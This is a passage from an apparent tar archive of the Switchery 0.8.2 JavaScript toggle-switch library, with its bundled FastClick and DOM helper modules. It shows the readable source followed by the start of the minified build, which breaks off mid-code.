	chromeVersion = +(/Chrome\/([0-9]+)/.exec(navigator.userAgent) || [,0])[1];

	if (chromeVersion) {

		if (FastClick.prototype.deviceIsAndroid) {
			metaViewport = document.querySelector('meta[name=viewport]');
			
			if (metaViewport) {
				// Chrome on Android with user-scalable="no" doesn't need FastClick (issue #89)
				if (metaViewport.content.indexOf('user-scalable=no') !== -1) {
					return true;
				}
				// Chrome 32 and above with width=device-width or less don't need FastClick
				if (chromeVersion > 31 && window.innerWidth <= window.screen.width) {
					return true;
				}
			}

		// Chrome desktop doesn't need FastClick (issue #15)
		} else {
			return true;
		}
	}

	// IE10 with -ms-touch-action: none, which disables double-tap-to-zoom (issue #97)
	if (layer.style.msTouchAction === 'none') {
		return true;
	}

	return false;
};


/**
 * Factory method for creating a FastClick object
 *
 * @param {Element} layer The layer to listen on
 */
FastClick.attach = function(layer) {
	'use strict';
	return new FastClick(layer);
};


if (typeof define !== 'undefined' && define.amd) {

	// AMD. Register as an anonymous module.
	define(function() {
		'use strict';
		return FastClick;
	});
} else if (typeof module !== 'undefined' && module.exports) {
	module.exports = FastClick.attach;
	module.exports.FastClick = FastClick;
} else {
	window.FastClick = FastClick;
}

});

require.register("component~indexof@0.0.3", function (exports, module) {
module.exports = function(arr, obj){
  if (arr.indexOf) return arr.indexOf(obj);
  for (var i = 0; i < arr.length; ++i) {
    if (arr[i] === obj) return i;
  }
  return -1;
};
});

require.register("component~classes@1.2.1", function (exports, module) {
/**
 * Module dependencies.
 */

var index = require('component~indexof@0.0.3');

/**
 * Whitespace regexp.
 */

var re = /\s+/;

/**
 * toString reference.
 */

var toString = Object.prototype.toString;

/**
 * Wrap `el` in a `ClassList`.
 *
 * @param {Element} el
 * @return {ClassList}
 * @api public
 */

module.exports = function(el){
  return new ClassList(el);
};

/**
 * Initialize a new ClassList for `el`.
 *
 * @param {Element} el
 * @api private
 */

function ClassList(el) {
  if (!el) throw new Error('A DOM element reference is required');
  this.el = el;
  this.list = el.classList;
}

/**
 * Add class `name` if not already present.
 *
 * @param {String} name
 * @return {ClassList}
 * @api public
 */

ClassList.prototype.add = function(name){
  // classList
  if (this.list) {
    this.list.add(name);
    return this;
  }

  // fallback
  var arr = this.array();
  var i = index(arr, name);
  if (!~i) arr.push(name);
  this.el.className = arr.join(' ');
  return this;
};

/**
 * Remove class `name` when present, or
 * pass a regular expression to remove
 * any which match.
 *
 * @param {String|RegExp} name
 * @return {ClassList}
 * @api public
 */

ClassList.prototype.remove = function(name){
  if ('[object RegExp]' == toString.call(name)) {
    return this.removeMatching(name);
  }

  // classList
  if (this.list) {
    this.list.remove(name);
    return this;
  }

  // fallback
  var arr = this.array();
  var i = index(arr, name);
  if (~i) arr.splice(i, 1);
  this.el.className = arr.join(' ');
  return this;
};

/**
 * Remove all classes matching `re`.
 *
 * @param {RegExp} re
 * @return {ClassList}
 * @api private
 */

ClassList.prototype.removeMatching = function(re){
  var arr = this.array();
  for (var i = 0; i < arr.length; i++) {
    if (re.test(arr[i])) {
      this.remove(arr[i]);
    }
  }
  return this;
};

/**
 * Toggle class `name`, can force state via `force`.
 *
 * For browsers that support classList, but do not support `force` yet,
 * the mistake will be detected and corrected.
 *
 * @param {String} name
 * @param {Boolean} force
 * @return {ClassList}
 * @api public
 */

ClassList.prototype.toggle = function(name, force){
  // classList
  if (this.list) {
    if ("undefined" !== typeof force) {
      if (force !== this.list.toggle(name, force)) {
        this.list.toggle(name); // toggle again to correct
      }
    } else {
      this.list.toggle(name);
    }
    return this;
  }

  // fallback
  if ("undefined" !== typeof force) {
    if (!force) {
      this.remove(name);
    } else {
      this.add(name);
    }
  } else {
    if (this.has(name)) {
      this.remove(name);
    } else {
      this.add(name);
    }
  }

  return this;
};

/**
 * Return an array of classes.
 *
 * @return {Array}
 * @api public
 */

ClassList.prototype.array = function(){
  var str = this.el.className.replace(/^\s+|\s+$/g, '');
  var arr = str.split(re);
  if ('' === arr[0]) arr.shift();
  return arr;
};

/**
 * Check if class `name` is present.
 *
 * @param {String} name
 * @return {ClassList}
 * @api public
 */

ClassList.prototype.has =
ClassList.prototype.contains = function(name){
  return this.list
    ? this.list.contains(name)
    : !! ~index(this.array(), name);
};

});

require.register("component~event@0.1.4", function (exports, module) {
var bind = window.addEventListener ? 'addEventListener' : 'attachEvent',
    unbind = window.removeEventListener ? 'removeEventListener' : 'detachEvent',
    prefix = bind !== 'addEventListener' ? 'on' : '';

/**
 * Bind `el` event `type` to `fn`.
 *
 * @param {Element} el
 * @param {String} type
 * @param {Function} fn
 * @param {Boolean} capture
 * @return {Function}
 * @api public
 */

exports.bind = function(el, type, fn, capture){
  el[bind](prefix + type, fn, capture || false);
  return fn;
};

/**
 * Unbind `el` event `type`'s callback `fn`.
 *
 * @param {Element} el
 * @param {String} type
 * @param {Function} fn
 * @param {Boolean} capture
 * @return {Function}
 * @api public
 */

exports.unbind = function(el, type, fn, capture){
  el[unbind](prefix + type, fn, capture || false);
  return fn;
};
});

require.register("component~query@0.0.3", function (exports, module) {
function one(selector, el) {
  return el.querySelector(selector);
}

exports = module.exports = function(selector, el){
  el = el || document;
  return one(selector, el);
};

exports.all = function(selector, el){
  el = el || document;
  return el.querySelectorAll(selector);
};

exports.engine = function(obj){
  if (!obj.one) throw new Error('.one callback required');
  if (!obj.all) throw new Error('.all callback required');
  one = obj.one;
  exports.all = obj.all;
  return exports;
};

});

require.register("component~matches-selector@0.1.6", function (exports, module) {
/**
 * Module dependencies.
 */

try {
  var query = require('component~query@0.0.3');
} catch (err) {
  var query = require('component~query@0.0.3');
}

/**
 * Element prototype.
 */

var proto = Element.prototype;

/**
 * Vendor function.
 */

var vendor = proto.matches
  || proto.webkitMatchesSelector
  || proto.mozMatchesSelector
  || proto.msMatchesSelector
  || proto.oMatchesSelector;

/**
 * Expose `match()`.
 */

module.exports = match;

/**
 * Match `el` to `selector`.
 *
 * @param {Element} el
 * @param {String} selector
 * @return {Boolean}
 * @api public
 */

function match(el, selector) {
  if (!el || el.nodeType !== 1) return false;
  if (vendor) return vendor.call(el, selector);
  var nodes = query.all(selector, el.parentNode);
  for (var i = 0; i < nodes.length; ++i) {
    if (nodes[i] == el) return true;
  }
  return false;
}

});

require.register("component~closest@1.0.1", function (exports, module) {
/**
 * Module Dependencies
 */

try {
  var matches = require('component~matches-selector@0.1.6')
} catch (err) {
  var matches = require('component~matches-selector@0.1.6')
}

/**
 * Export `closest`
 */

module.exports = closest

/**
 * Closest
 *
 * @param {Element} el
 * @param {String} selector
 * @param {Element} scope (optional)
 */

function closest (el, selector, scope) {
  scope = scope || document.documentElement;

  // walk up the dom
  while (el && el !== scope) {
    if (matches(el, selector)) return el;
    el = el.parentNode;
  }

  // check scope for match
  return matches(el, selector) ? el : null;
}

});

require.register("component~delegate@0.2.3", function (exports, module) {
/**
 * Module dependencies.
 */

var closest = require('component~closest@1.0.1')
  , event = require('component~event@0.1.4');

/**
 * Delegate event `type` to `selector`
 * and invoke `fn(e)`. A callback function
 * is returned which may be passed to `.unbind()`.
 *
 * @param {Element} el
 * @param {String} selector
 * @param {String} type
 * @param {Function} fn
 * @param {Boolean} capture
 * @return {Function}
 * @api public
 */

exports.bind = function(el, selector, type, fn, capture){
  return event.bind(el, type, function(e){
    var target = e.target || e.srcElement;
    e.delegateTarget = closest(target, selector, true, el);
    if (e.delegateTarget) fn.call(el, e);
  }, capture);
};

/**
 * Unbind event `type`'s callback `fn`.
 *
 * @param {Element} el
 * @param {String} type
 * @param {Function} fn
 * @param {Boolean} capture
 * @api public
 */

exports.unbind = function(el, type, fn, capture){
  event.unbind(el, type, fn, capture);
};

});

require.register("component~events@1.0.9", function (exports, module) {

/**
 * Module dependencies.
 */

var events = require('component~event@0.1.4');
var delegate = require('component~delegate@0.2.3');

/**
 * Expose `Events`.
 */

module.exports = Events;

/**
 * Initialize an `Events` with the given
 * `el` object which events will be bound to,
 * and the `obj` which will receive method calls.
 *
 * @param {Object} el
 * @param {Object} obj
 * @api public
 */

function Events(el, obj) {
  if (!(this instanceof Events)) return new Events(el, obj);
  if (!el) throw new Error('element required');
  if (!obj) throw new Error('object required');
  this.el = el;
  this.obj = obj;
  this._events = {};
}

/**
 * Subscription helper.
 */

Events.prototype.sub = function(event, method, cb){
  this._events[event] = this._events[event] || {};
  this._events[event][method] = cb;
};

/**
 * Bind to `event` with optional `method` name.
 * When `method` is undefined it becomes `event`
 * with the "on" prefix.
 *
 * Examples:
 *
 *  Direct event handling:
 *
 *    events.bind('click') // implies "onclick"
 *    events.bind('click', 'remove')
 *    events.bind('click', 'sort', 'asc')
 *
 *  Delegated event handling:
 *
 *    events.bind('click li > a')
 *    events.bind('click li > a', 'remove')
 *    events.bind('click a.sort-ascending', 'sort', 'asc')
 *    events.bind('click a.sort-descending', 'sort', 'desc')
 *
 * @param {String} event
 * @param {String|function} [method]
 * @return {Function} callback
 * @api public
 */

Events.prototype.bind = function(event, method){
  var e = parse(event);
  var el = this.el;
  var obj = this.obj;
  var name = e.name;
  var method = method || 'on' + name;
  var args = [].slice.call(arguments, 2);

  // callback
  function cb(){
    var a = [].slice.call(arguments).concat(args);
    obj[method].apply(obj, a);
  }

  // bind
  if (e.selector) {
    cb = delegate.bind(el, e.selector, name, cb);
  } else {
    events.bind(el, name, cb);
  }

  // subscription for unbinding
  this.sub(name, method, cb);

  return cb;
};

/**
 * Unbind a single binding, all bindings for `event`,
 * or all bindings within the manager.
 *
 * Examples:
 *
 *  Unbind direct handlers:
 *
 *     events.unbind('click', 'remove')
 *     events.unbind('click')
 *     events.unbind()
 *
 * Unbind delegate handlers:
 *
 *     events.unbind('click', 'remove')
 *     events.unbind('click')
 *     events.unbind()
 *
 * @param {String|Function} [event]
 * @param {String|Function} [method]
 * @api public
 */

Events.prototype.unbind = function(event, method){
  if (0 == arguments.length) return this.unbindAll();
  if (1 == arguments.length) return this.unbindAllOf(event);

  // no bindings for this event
  var bindings = this._events[event];
  if (!bindings) return;

  // no bindings for this method
  var cb = bindings[method];
  if (!cb) return;

  events.unbind(this.el, event, cb);
};

/**
 * Unbind all events.
 *
 * @api private
 */

Events.prototype.unbindAll = function(){
  for (var event in this._events) {
    this.unbindAllOf(event);
  }
};

/**
 * Unbind all events for `event`.
 *
 * @param {String} event
 * @api private
 */

Events.prototype.unbindAllOf = function(event){
  var bindings = this._events[event];
  if (!bindings) return;

  for (var method in bindings) {
    this.unbind(event, method);
  }
};

/**
 * Parse `event`.
 *
 * @param {String} event
 * @return {Object}
 * @api private
 */

function parse(event) {
  var parts = event.split(/ +/);
  return {
    name: parts.shift(),
    selector: parts.join(' ')
  }
}

});

require.register("switchery", function (exports, module) {
/**
 * Switchery 0.8.2
 * http://abpetkov.github.io/switchery/
 *
 * Authored by Alexander Petkov
 * https://github.com/abpetkov
 *
 * Copyright 2013-2015, Alexander Petkov
 * License: The MIT License (MIT)
 * http://opensource.org/licenses/MIT
 *
 */

/**
 * External dependencies.
 */

var transitionize = require('abpetkov~transitionize@0.0.3')
  , fastclick = require('ftlabs~fastclick@v0.6.11')
  , classes = require('component~classes@1.2.1')
  , events = require('component~events@1.0.9');

/**
 * Expose `Switchery`.
 */

module.exports = Switchery;

/**
 * Set Switchery default values.
 *
 * @api public
 */

var defaults = {
    color             : '#64bd63'
  , secondaryColor    : '#dfdfdf'
  , jackColor         : '#fff'
  , jackSecondaryColor: null
  , className         : 'switchery'
  , disabled          : false
  , disabledOpacity   : 0.5
  , speed             : '0.4s'
  , size              : 'default'
};

/**
 * Create Switchery object.
 *
 * @param {Object} element
 * @param {Object} options
 * @api public
 */

function Switchery(element, options) {
  if (!(this instanceof Switchery)) return new Switchery(element, options);

  this.element = element;
  this.options = options || {};

  for (var i in defaults) {
    if (this.options[i] == null) {
      this.options[i] = defaults[i];
    }
  }

  if (this.element != null && this.element.type == 'checkbox') this.init();
  if (this.isDisabled() === true) this.disable();
}

/**
 * Hide the target element.
 *
 * @api private
 */

Switchery.prototype.hide = function() {
  this.element.style.display = 'none';
};

/**
 * Show custom switch after the target element.
 *
 * @api private
 */

Switchery.prototype.show = function() {
  var switcher = this.create();
  this.insertAfter(this.element, switcher);
};

/**
 * Create custom switch.
 *
 * @returns {Object} this.switcher
 * @api private
 */

Switchery.prototype.create = function() {
  this.switcher = document.createElement('span');
  this.jack = document.createElement('small');
  this.switcher.appendChild(this.jack);
  this.switcher.className = this.options.className;
  this.events = events(this.switcher, this);

  return this.switcher;
};

/**
 * Insert after element after another element.
 *
 * @param {Object} reference
 * @param {Object} target
 * @api private
 */

Switchery.prototype.insertAfter = function(reference, target) {
  reference.parentNode.insertBefore(target, reference.nextSibling);
};

/**
 * Set switch jack proper position.
 *
 * @param {Boolean} clicked - we need this in order to uncheck the input when the switch is clicked
 * @api private
 */

Switchery.prototype.setPosition = function (clicked) {
  var checked = this.isChecked()
    , switcher = this.switcher
    , jack = this.jack;

  if (clicked && checked) checked = false;
  else if (clicked && !checked) checked = true;

  if (checked === true) {
    this.element.checked = true;

    if (window.getComputedStyle) jack.style.left = parseInt(window.getComputedStyle(switcher).width) - parseInt(window.getComputedStyle(jack).width) + 'px';
    else jack.style.left = parseInt(switcher.currentStyle['width']) - parseInt(jack.currentStyle['width']) + 'px';

    if (this.options.color) this.colorize();
    this.setSpeed();
  } else {
    jack.style.left = 0;
    this.element.checked = false;
    this.switcher.style.boxShadow = 'inset 0 0 0 0 ' + this.options.secondaryColor;
    this.switcher.style.borderColor = this.options.secondaryColor;
    this.switcher.style.backgroundColor = (this.options.secondaryColor !== defaults.secondaryColor) ? this.options.secondaryColor : '#fff';
    this.jack.style.backgroundColor = (this.options.jackSecondaryColor !== this.options.jackColor) ? this.options.jackSecondaryColor : this.options.jackColor;
    this.setSpeed();
  }
};

/**
 * Set speed.
 *
 * @api private
 */

Switchery.prototype.setSpeed = function() {
  var switcherProp = {}
    , jackProp = {
        'background-color': this.options.speed
      , 'left': this.options.speed.replace(/[a-z]/, '') / 2 + 's'
    };

  if (this.isChecked()) {
    switcherProp = {
        'border': this.options.speed
      , 'box-shadow': this.options.speed
      , 'background-color': this.options.speed.replace(/[a-z]/, '') * 3 + 's'
    };
  } else {
    switcherProp = {
        'border': this.options.speed
      , 'box-shadow': this.options.speed
    };
  }

  transitionize(this.switcher, switcherProp);
  transitionize(this.jack, jackProp);
};

/**
 * Set switch size.
 *
 * @api private
 */

Switchery.prototype.setSize = function() {
  var small = 'switchery-small'
    , normal = 'switchery-default'
    , large = 'switchery-large';

  switch (this.options.size) {
    case 'small':
      classes(this.switcher).add(small)
      break;
    case 'large':
      classes(this.switcher).add(large)
      break;
    default:
      classes(this.switcher).add(normal)
      break;
  }
};

/**
 * Set switch color.
 *
 * @api private
 */

Switchery.prototype.colorize = function() {
  var switcherHeight = this.switcher.offsetHeight / 2;

  this.switcher.style.backgroundColor = this.options.color;
  this.switcher.style.borderColor = this.options.color;
  this.switcher.style.boxShadow = 'inset 0 0 0 ' + switcherHeight + 'px ' + this.options.color;
  this.jack.style.backgroundColor = this.options.jackColor;
};

/**
 * Handle the onchange event.
 *
 * @param {Boolean} state
 * @api private
 */

Switchery.prototype.handleOnchange = function(state) {
  if (document.dispatchEvent) {
    var event = document.createEvent('HTMLEvents');
    event.initEvent('change', true, true);
    this.element.dispatchEvent(event);
  } else {
    this.element.fireEvent('onchange');
  }
};

/**
 * Handle the native input element state change.
 * A `change` event must be fired in order to detect the change.
 *
 * @api private
 */

Switchery.prototype.handleChange = function() {
  var self = this
    , el = this.element;

  if (el.addEventListener) {
    el.addEventListener('change', function() {
      self.setPosition();
    });
  } else {
    el.attachEvent('onchange', function() {
      self.setPosition();
    });
  }
};

/**
 * Handle the switch click event.
 *
 * @api private
 */

Switchery.prototype.handleClick = function() {
  var switcher = this.switcher;

  fastclick = fastclick.bind(this);
  fastclick(switcher);
  this.events.bind('click', 'bindClick');
};

/**
 * Attach all methods that need to happen on switcher click.
 *
 * @api private
 */

Switchery.prototype.bindClick = function() {
  var parent = this.element.parentNode.tagName.toLowerCase()
    , labelParent = (parent === 'label') ? false : true;

  this.setPosition(labelParent);
  this.handleOnchange(this.element.checked);
};

/**
 * Mark an individual switch as already handled.
 *
 * @api private
 */

Switchery.prototype.markAsSwitched = function() {
  this.element.setAttribute('data-switchery', true);
};

/**
 * Check if an individual switch is already handled.
 *
 * @api private
 */

Switchery.prototype.markedAsSwitched = function() {
  return this.element.getAttribute('data-switchery');
};

/**
 * Initialize Switchery.
 *
 * @api private
 */

Switchery.prototype.init = function() {
  this.hide();
  this.show();
  this.setSize();
  this.setPosition();
  this.markAsSwitched();
  this.handleChange();
  this.handleClick();
};

/**
 * See if input is checked.
 *
 * @returns {Boolean}
 * @api public
 */

Switchery.prototype.isChecked = function() {
  return this.element.checked;
};

/**
 * See if switcher should be disabled.
 *
 * @returns {Boolean}
 * @api public
 */

Switchery.prototype.isDisabled = function() {
  return this.options.disabled || this.element.disabled || this.element.readOnly;
};

/**
 * Destroy all event handlers attached to the switch.
 *
 * @api public
 */

Switchery.prototype.destroy = function() {
  this.events.unbind();
};

/**
 * Enable disabled switch element.
 *
 * @api public
 */

Switchery.prototype.enable = function() {
  if (!this.options.disabled) return;
  if (this.options.disabled) this.options.disabled = false;
  if (this.element.disabled) this.element.disabled = false;
  if (this.element.readOnly) this.element.readOnly = false;
  this.switcher.style.opacity = 1;
  this.events.bind('click', 'bindClick');
};

/**
 * Disable switch element.
 *
 * @api public
 */

Switchery.prototype.disable = function() {
  if (this.options.disabled) return;
  if (!this.options.disabled) this.options.disabled = true;
  if (!this.element.disabled) this.element.disabled = true;
  if (!this.element.readOnly) this.element.readOnly = true;
  this.switcher.style.opacity = this.options.disabledOpacity;
  this.destroy();
};

});

if (typeof exports == "object") {
  module.exports = require("switchery");
} else if (typeof define == "function" && define.amd) {
  define("Switchery", [], function(){ return require("switchery"); });
} else {
  (this || window)["Switchery"] = require("switchery");
}
})()
switchery.min.js000064400000060046151701416170007716 0ustar00(function(){function require(name){var module=require.modules[name];if(!module)throw new Error('failed to require "'+name+'"');if(!("exports"in module)&&typeof module.definition==="function"){module.client=module.component=true;module.definition.call(this,module.exports={},module);delete module.definition}return module.exports}require.loader="component";require.helper={};require.helper.semVerSort=function(a,b){var aArray=a.version.split(".");var bArray=b.version.split(".");for(var i=0;i<aArray.length;++i){var aInt=parseInt(aArray[i],10);var bInt=parseInt(bArray[i],10);if(aInt===bInt){var aLex=aArray[i].substr((""+aInt).length);var bLex=bArray[i].substr((""+bInt).length);if(aLex===""&&bLex!=="")return 1;if(aLex!==""&&bLex==="")return-1;if(aLex!==""&&bLex!=="")return aLex>bLex?1:-1;continue}else if(aInt>bInt){return 1}else{return-1}}return 0};require.latest=function(name,returnPath){function showError(name){throw new Error('failed to find latest module of "'+name+'"')}var versionRegexp=/(.*)~(.*)@v?(\d+\.\d+\.\d+[^\/]*)$/;var remoteRegexp=/(.*)~(.*)/;if(!remoteRegexp.test(name))showError(name);var moduleNames=Object.keys(require.modules);var semVerCandidates=[];var otherCandidates=[];for(var i=0;i<moduleNames.length;i++){var moduleName=moduleNames[i];if(new RegExp(name+"@").test(moduleName)){var version=moduleName.substr(name.length+1);var semVerMatch=versionRegexp.exec(moduleName);if(semVerMatch!=null){semVerCandidates.push({version:version,name:moduleName})}else{otherCandidates.push({version:version,name:moduleName})}}}if(semVerCandidates.concat(otherCandidates).length===0){showError(name)}if(semVerCandidates.length>0){var module=semVerCandidates.sort(require.helper.semVerSort).pop().name;if(returnPath===true){return module}return require(module)}var module=otherCandidates.sort(function(a,b){return a.name>b.name})[0].name;if(returnPath===true){return module}return require(module)};require.modules={};require.register=function(name,definition){require.modules[name]={definition:definition}};require.define=function(name,exports){require.modules[name]={exports:exports}};require.register("abpetkov~transitionize@0.0.3",function(exports,module){module.exports=Transitionize;function Transitionize(element,props){if(!(this instanceof Transitionize))return new Transitionize(element,props);this.element=element;this.props=props||{};this.init()}Transitionize.prototype.isSafari=function(){return/Safari/.test(navigator.userAgent)&&/Apple Computer/.test(navigator.vendor)};Transitionize.prototype.init=function(){var transitions=[];for(var key in this.props){transitions.push(key+" "+this.props[key])}this.element.style.transition=transitions.join(", ");if(this.isSafari())this.element.style.webkitTransition=transitions.join(", ")}});require.register("ftlabs~fastclick@v0.6.11",function(exports,module){function FastClick(layer){"use strict";var oldOnClick,self=this;this.trackingClick=false;this.trackingClickStart=0;this.targetElement=null;this.touchStartX=0;this.touchStartY=0;this.lastTouchIdentifier=0;this.touchBoundary=10;this.layer=layer;if(!layer||!layer.nodeType){throw new TypeError("Layer must be a document node")}this.onClick=function(){return FastClick.prototype.onClick.apply(self,arguments)};this.onMouse=function(){return FastClick.prototype.onMouse.apply(self,arguments)};this.onTouchStart=function(){return FastClick.prototype.onTouchStart.apply(self,arguments)};this.onTouchMove=function(){return FastClick.prototype.onTouchMove.apply(self,arguments)};this.onTouchEnd=function(){return FastClick.prototype.onTouchEnd.apply(self,arguments)};this.onTouchCancel=function(){return FastClick.prototype.onTouchCancel.apply(self,arguments)};if(FastClick.notNeeded(layer)){return}if(this.deviceIsAndroid){layer.addEventListener("mouseover",this.onMouse,true);layer.addEventListener("mousedown",this.onMouse,true);layer.addEventListener("mouseup",this.onMouse,true)}layer.addEventListener("click",this.onClick,true);layer.addEventListener("touchstart",this.onTouchStart,false);layer.addEventListener("touchmove",this.onTouchMove,false);layer.addEventListener("touchend",this.onTouchEnd,false);layer.addEventListener("touchcancel",this.onTouchCancel,false);if(!Event.prototype.stopImmediatePropagation){layer.removeEventListener=function(type,callback,capture){var rmv=Node.prototype.removeEventListener;if(type==="click"){rmv.call(layer,type,callback.hijacked||callback,capture)}else{rmv.call(layer,type,callback,capture)}};layer.addEventListener=function(type,callback,capture){var adv=Node.prototype.addEventListener;if(type==="click"){adv.call(layer,type,callback.hijacked||(callback.hijacked=function(event){if(!event.propagationStopped){callback(event)}}),capture)}else{adv.call(layer,type,callback,capture)}}}if(typeof layer.onclick==="function"){oldOnClick=layer.onclick;layer.addEventListener("click",function(event){oldOnClick(event)},false);layer.onclick=null}}FastClick.prototype.deviceIsAndroid=navigator.userAgent.indexOf("Android")>0;FastClick.prototype.deviceIsIOS=/iP(ad|hone|od)/.test(navigator.userAgent);FastClick.prototype.deviceIsIOS4=FastClick.prototype.deviceIsIOS&&/OS 4_\d(_\d)?/.test(navigator.userAgent);FastClick.prototype.deviceIsIOSWithBadTarget=FastClick.prototype.deviceIsIOS&&/OS ([6-9]|\d{2})_\d/.test(navigator.userAgent);FastClick.prototype.needsClick=function(target){"use strict";switch(target.nodeName.toLowerCase()){case"button":case"select":case"textarea":if(target.disabled){return true}break;case"input":if(this.deviceIsIOS&&target.type==="file"||target.disabled){return true}break;case"label":case"video":return true}return/\bneedsclick\b/.test(target.className)};FastClick.prototype.needsFocus=function(target){"use strict";switch(target.nodeName.toLowerCase()){case"textarea":return true;case"select":return!this.deviceIsAndroid;case"input":switch(target.type){case"button":case"checkbox":case"file":case"image":case"radio":case"submit":return false}return!target.disabled&&!target.readOnly;default:return/\bneedsfocus\b/.test(target.className)}};FastClick.prototype.sendClick=function(targetElement,event){"use strict";var clickEvent,touch;if(document.activeElement&&document.activeElement!==targetElement){document.activeElement.blur()}touch=event.changedTouches[0];clickEvent=document.createEvent("MouseEvents");clickEvent.initMouseEvent(this.determineEventType(targetElement),true,true,window,1,touch.screenX,touch.screenY,touch.clientX,touch.clientY,false,false,false,false,0,null);clickEvent.forwardedTouchEvent=true;targetElement.dispatchEvent(clickEvent)};FastClick.prototype.determineEventType=function(targetElement){"use strict";if(this.deviceIsAndroid&&targetElement.tagName.toLowerCase()==="select"){return"mousedown"}return"click"};FastClick.prototype.focus=function(targetElement){"use strict";var length;if(this.deviceIsIOS&&targetElement.setSelectionRange&&targetElement.type.indexOf("date")!==0&&targetElement.type!=="time"){length=targetElement.value.length;targetElement.setSelectionRange(length,length)}else{targetElement.focus()}};FastClick.prototype.updateScrollParent=function(targetElement){"use strict";var scrollParent,parentElement;scrollParent=targetElement.fastClickScrollParent;if(!scrollParent||!scrollParent.contains(targetElement)){parentElement=targetElement;do{if(parentElement.scrollHeight>parentElement.offsetHeight){scrollParent=parentElement;targetElement.fastClickScrollParent=parentElement;break}parentElement=parentElement.parentElement}while(parentElement)}if(scrollParent){scrollParent.fastClickLastScrollTop=scrollParent.scrollTop}};FastClick.prototype.getTargetElementFromEventTarget=function(eventTarget){"use strict";if(eventTarget.nodeType===Node.TEXT_NODE){return eventTarget.parentNode}return eventTarget};FastClick.prototype.onTouchStart=function(event){"use strict";var targetElement,touch,selection;if(event.targetTouches.length>1){return true}targetElement=this.getTargetElementFromEventTarget(event.target);touch=event.targetTouches[0];if(this.deviceIsIOS){selection=window.getSelection();if(selection.rangeCount&&!selection.isCollapsed){return true}if(!this.deviceIsIOS4){if(touch.identifier===this.lastTouchIdentifier){event.preventDefault();return false}this.lastTouchIdentifier=touch.identifier;this.updateScrollParent(targetElement)}}this.trackingClick=true;this.trackingClickStart=event.timeStamp;this.targetElement=targetElement;this.touchStartX=touch.pageX;this.touchStartY=touch.pageY;if(event.timeStamp-this.lastClickTime<200){event.preventDefault()}return true};FastClick.prototype.touchHasMoved=function(event){"use strict";var touch=event.changedTouches[0],boundary=this.touchBoundary;if(Math.abs(touch.pageX-this.touchStartX)>boundary||Math.abs(touch.pageY-this.touchStartY)>boundary){return true}return false};FastClick.prototype.onTouchMove=function(event){"use strict";if(!this.trackingClick){return true}if(this.targetElement!==this.getTargetElementFromEventTarget(event.target)||this.touchHasMoved(event)){this.trackingClick=false;this.targetElement=null}return true};FastClick.prototype.findControl=function(labelElement){"use strict";if(labelElement.control!==undefined){return labelElement.control}if(labelElement.htmlFor){return document.getElementById(labelElement.htmlFor)}return labelElement.querySelector("button, input:not([type=hidden]), keygen, meter, output, progress, select, textarea")};FastClick.prototype.onTouchEnd=function(event){"use strict";var forElement,trackingClickStart,targetTagName,scrollParent,touch,targetElement=this.targetElement;if(!this.trackingClick){return true}if(event.timeStamp-this.lastClickTime<200){this.cancelNextClick=true;return true}this.cancelNextClick=false;this.lastClickTime=event.timeStamp;trackingClickStart=this.trackingClickStart;this.trackingClick=false;this.trackingClickStart=0;if(this.deviceIsIOSWithBadTarget){touch=event.changedTouches[0];targetElement=document.elementFromPoint(touch.pageX-window.pageXOffset,touch.pageY-window.pageYOffset)||targetElement;targetElement.fastClickScrollParent=this.targetElement.fastClickScrollParent}targetTagName=targetElement.tagName.toLowerCase();if(targetTagName==="label"){forElement=this.findControl(targetElement);if(forElement){this.focus(targetElement);if(this.deviceIsAndroid){return false}targetElement=forElement}}else if(this.needsFocus(targetElement)){if(event.timeStamp-trackingClickStart>100||this.deviceIsIOS&&window.top!==window&&targetTagName==="input"){this.targetElement=null;return false}this.focus(targetElement);if(!this.deviceIsIOS4||targetTagName!=="select"){this.targetElement=null;event.preventDefault()}return false}if(this.deviceIsIOS&&!this.deviceIsIOS4){scrollParent=targetElement.fastClickScrollParent;if(scrollParent&&scrollParent.fastClickLastScrollTop!==scrollParent.scrollTop){return true}}if(!this.needsClick(targetElement)){event.preventDefault();this.sendClick(targetElement,event)}return false};FastClick.prototype.onTouchCancel=function(){"use strict";this.trackingClick=false;this.targetElement=null};FastClick.prototype.onMouse=function(event){"use strict";if(!this.targetElement){return true}if(event.forwardedTouchEvent){return true}if(!event.cancelable){return true}if(!this.needsClick(this.targetElement)||this.cancelNextClick){if(event.stopImmediatePropagation){event.stopImmediatePropagation()}else{event.propagationStopped=true}event.stopPropagation();event.preventDefault();return false}return true};FastClick.prototype.onClick=function(event){"use strict";var permitted;if(this.trackingClick){this.targetElement=null;this.trackingClick=false;return true}if(event.target.type==="submit"&&event.detail===0){return true}permitted=this.onMouse(event);if(!permitted){this.targetElement=null}return permitted};FastClick.prototype.destroy=function(){"use strict";var layer=this.layer;if(this.deviceIsAndroid){layer.removeEventListener("mouseover",this.onMouse,true);layer.removeEventListener("mousedown",this.onMouse,true);layer.removeEventListener("mouseup",this.onMouse,true)}layer.removeEventListener("click",this.onClick,true);layer.removeEventListener("touchstart",this.onTouchStart,false);layer.removeEventListener("touchmove",this.onTouchMove,false);layer.removeEventListener("touchend",this.onTouchEnd,false);layer.removeEventListener("touchcancel",this.onTouchCancel,false)};FastClick.notNeeded=function(layer){"use strict";var metaViewport;var chromeVersion;if(typeof window.ontouchstart==="undefined"){return true}chromeVersion=+(/Chrome\/([0-9]+)/.exec(navigator.userAgent)||[,0])[1];if(chromeVersion){if(FastClick.prototype.deviceIsAndroid){metaViewport=document.querySelector("meta[name=viewport]");if(metaViewport){if(metaViewport.content.indexOf("user-scalable=no")!==-1){return true}if(chromeVersion>31&&window.innerWidth<=window.screen.width){return true}}}else{return true}}if(layer.style.msTouchAction==="none"){return true}return false};FastClick.attach=function(layer){"use strict";return new FastClick(layer)};if(typeof define!=="undefined"&&define.amd){define(function(){"use strict";return FastClick})}else if(typeof module!=="undefined"&&module.exports){module.exports=FastClick.attach;module.exports.FastClick=FastClick}else{window.FastClick=FastClick}});require.register("component~indexof@0.0.3",function(exports,module){module.exports=function(arr,obj){if(arr.indexOf)return arr.indexOf(obj);for(var i=0;i<arr.length;++i){if(arr[i]===obj)return i}return-1}});require.register("component~classes@1.2.1",function(exports,module){var index=require("component~indexof@0.0.3");var re=/\s+/;var toString=Object.prototype.toString;module.exports=function(el){return new ClassList(el)};function ClassList(el){if(!el)throw new Error("A DOM element reference is required");this.el=el;this.list=el.classList}ClassList.prototype.add=function(name){if(this.list){this.list.add(name);return this}var arr=this.array();var i=index(arr,name);if(!~i)arr.push(name);this.el.className=arr.join(" ");return this};ClassList.prototype.remove=function(name){if("[object RegExp]"==toString.call(name)){return 